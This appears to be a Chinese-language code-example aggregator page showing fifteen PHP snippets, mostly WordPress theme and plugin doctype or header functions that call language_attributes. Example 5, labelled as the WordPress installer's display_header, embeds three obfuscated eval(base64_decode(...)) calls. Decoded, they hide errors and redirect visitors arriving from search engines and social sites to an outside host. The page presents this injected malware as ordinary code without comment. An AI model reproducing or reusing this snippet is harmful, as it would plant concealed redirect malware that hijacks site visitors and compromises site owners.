本文整理汇总了PHP中language_attributes函数的典型用法代码示例。如果您正苦于以下问题:PHP language_attributes函数的具体用法?PHP language_attributes怎么用?PHP language_attributes使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了language_attributes函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: genesis_do_doctype
function genesis_do_doctype()
{
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" <?php
language_attributes('xhtml');
?>
>
<head profile="http://gmpg.org/xfn/11">
<meta http-equiv="Content-Type" content="<?php
bloginfo('html_type');
?>
; charset=<?php
bloginfo('charset');
?>
" />
<?php
}
示例2: setup_wizard_header
/**
* Setup Wizard Header
*/
public function setup_wizard_header()
{
?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" <?php
language_attributes();
?>
>
<head>
<meta name="viewport" content="width=device-width" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title><?php
_e('WP ERP › Setup Wizard', 'wp-erp');
?>
</title>
<?php
wp_print_scripts('erp-setup');
?>
<?php
do_action('admin_print_styles');
?>
<?php
do_action('admin_head');
?>
</head>
<body class="erp-setup wp-core-ui">
<h1 class="erp-logo"><a href="http://wperp.com/">WP ERP</a></h1>
<?php
}
示例3: setup_wizard_header
/**
* Setup Wizard Header
*/
public function setup_wizard_header()
{
?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" <?php
language_attributes();
?>
>
<head>
<meta name="viewport" content="width=device-width" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title><?php
_e('WooCommerce › Setup Wizard', 'woocommerce');
?>
</title>
<?php
wp_print_scripts('wc-setup');
?>
<?php
do_action('admin_print_styles');
?>
</head>
<body class="wc-setup wp-core-ui">
<h1 id="wc-logo"><a href="http://woothemes.com/woocommerce"><img src="<?php
echo WC()->plugin_url();
?>
/assets/images/woocommerce_logo.png" alt="WooCommerce" /></a></h1>
<?php
}
示例4: wpsight_do_doctype
function wpsight_do_doctype()
{
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!--[if IE 7 ]><html xmlns="http://www.w3.org/1999/xhtml" class="ie ie7" <?php
language_attributes('xhtml');
?>
"> <![endif]-->
<!--[if IE 8 ]><html xmlns="http://www.w3.org/1999/xhtml" class="ie ie8" <?php
language_attributes('xhtml');
?>
> <![endif]-->
<!--[if (gte IE 9)|!(IE)]><!--><html xmlns="http://www.w3.org/1999/xhtml" class="not-ie8" <?php
language_attributes('xhtml');
?>
> <!--<![endif]-->
<head profile="http://gmpg.org/xfn/11">
<meta http-equiv="Content-Type" content="<?php
bloginfo('html_type');
?>
; charset=<?php
bloginfo('charset');
?>
" />
<link rel="pingback" href="<?php
bloginfo('pingback_url');
?>
" /><?php
}
示例5: display_header
/**
* Display install header.
*
* @since unknown
* @package WordPress
* @subpackage Installer
*/
function display_header()
{
header('Content-Type: text/html; charset=utf-8');
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" <?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
language_attributes();
?>
>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title><?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF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b20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
wp_admin_css('install', true);
?>
</head>
<body>
<h1 id="logo"><img alt="WordPress" src="images/wordpress-logo.png" /></h1>
<?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
}
示例6: thesis_html_framework
function thesis_html_framework()
{
global $thesis_design;
echo apply_filters('thesis_doctype', '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">') . "\n";
?>
<html xmlns="http://www.w3.org/1999/xhtml" <?php
language_attributes();
?>
>
<?php
thesis_head::build();
echo "<body" . thesis_body_classes() . ">\n";
#filter
thesis_hook_before_html();
#hook
if ($thesis_design->layout['framework'] == 'page') {
thesis_framework_page();
} elseif ($thesis_design->layout['framework'] == 'full-width') {
thesis_framework_full_width();
} else {
thesis_framework_page();
}
thesis_ie_clear();
thesis_javascript::output_scripts();
thesis_hook_after_html();
#hook
echo "</body>\n</html>";
}
示例7: display_header
/**
* Display install header.
*
* @since 2.5.0
* @package WordPress
* @subpackage Installer
*/
function display_header()
{
header('Content-Type: text/html; charset=utf-8');
?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" <?php
language_attributes();
?>
>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title><?php
_e('WordPress › Installation');
?>
</title>
<?php
wp_admin_css('install', true);
?>
</head>
<body<?php
if (is_rtl()) {
echo ' class="rtl"';
}
?>
>
<h1 id="logo"><img alt="WordPress" src="images/wordpress-logo.png" /></h1>
<?php
}
示例8: display_header
/**
* Display install header.
*
* @since 2.5.0
* @package WordPress
* @subpackage Installer
*/
function display_header()
{
header('Content-Type: text/html; charset=utf-8');
?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" <?php
language_attributes();
?>
>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title><?php
_e('WordPress › Installation');
?>
</title>
<?php
wp_admin_css('install', true);
?>
</head>
<body class="wp-core-ui<?php
if (is_rtl()) {
echo ' rtl';
}
?>
">
<h1 id="logo"><a href="<?php
esc_attr_e('http://wordpress.org/');
?>
"><?php
_e('WordPress');
?>
</a></h1>
<?php
}
示例9: bfg_do_doctype
/**
* Overrides the default Genesis doctype with IE and JS identifier classes.
*
* See: http://html5boilerplate.com/
*
* @since 2.2.4
*/
function bfg_do_doctype()
{
if (genesis_html5()) {
?>
<!DOCTYPE html>
<!--[if IE 8]> <html class="no-js lt-ie9" <?php
language_attributes('html');
?>
> <![endif]-->
<!--[if gt IE 8]><!--> <html class="no-js" <?php
language_attributes('html');
?>
> <!--<![endif]-->
<head>
<meta charset="<?php
bloginfo('charset');
?>
">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<!-- <meta name="format-detection" content="telephone=no"> -->
<?php
} else {
genesis_xhtml_doctype();
}
}
示例10: child_do_doctype
function child_do_doctype()
{
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!--[if lt IE 7 ]> <html class="ie6" xmlns="http://www.w3.org/1999/xhtml" <?php
language_attributes('xhtml');
?>
> <![endif]-->
<!--[if IE 7 ]> <html class="ie7" xmlns="http://www.w3.org/1999/xhtml" <?php
language_attributes('xhtml');
?>
> <![endif]-->
<!--[if IE 8 ]> <html class="ie8" xmlns="http://www.w3.org/1999/xhtml" <?php
language_attributes('xhtml');
?>
> <![endif]-->
<!--[if IE 9 ]> <html class="ie9" xmlns="http://www.w3.org/1999/xhtml" <?php
language_attributes('xhtml');
?>
> <![endif]-->
<!--[if (gt IE 9)|!(IE)]><!--> <html class="" xmlns="http://www.w3.org/1999/xhtml" <?php
language_attributes('xhtml');
?>
> <!--<![endif]-->
<head profile="http://gmpg.org/xfn/11">
<meta http-equiv="Content-Type" content="<?php
bloginfo('html_type');
?>
; charset=<?php
bloginfo('charset');
?>
" />
<?php
}
示例11: photo_perfect_doctype
/**
* Doctype Declaration
*
* @since Photo Perfect 1.0
*
*/
function photo_perfect_doctype()
{
?>
<!DOCTYPE html> <html <?php
language_attributes();
?>
><?php
}
示例12: magzimum_doctype
/**
* Doctype Declaration
*
* @since Magzimum 1.0
*
*/
function magzimum_doctype()
{
?>
<!DOCTYPE html> <html <?php
language_attributes();
?>
><?php
}
示例13: wen_business_doctype
/**
* Doctype Declaration
*
* @since WEN Business 1.0
*
*/
function wen_business_doctype()
{
?>
<!DOCTYPE html> <html <?php
language_attributes();
?>
><?php
}
示例14: biography_doctype
/**
* Doctype Declaration
*
* @since Biography 1.0.0
*
* @param null
* @return null
*
*/
function biography_doctype()
{
?>
<!DOCTYPE html><html <?php
language_attributes();
?>
>
<?php
}
示例15: supermag_doctype
function supermag_doctype()
{
?>
<!DOCTYPE html><html <?php
language_attributes();
?>
>
<?php
}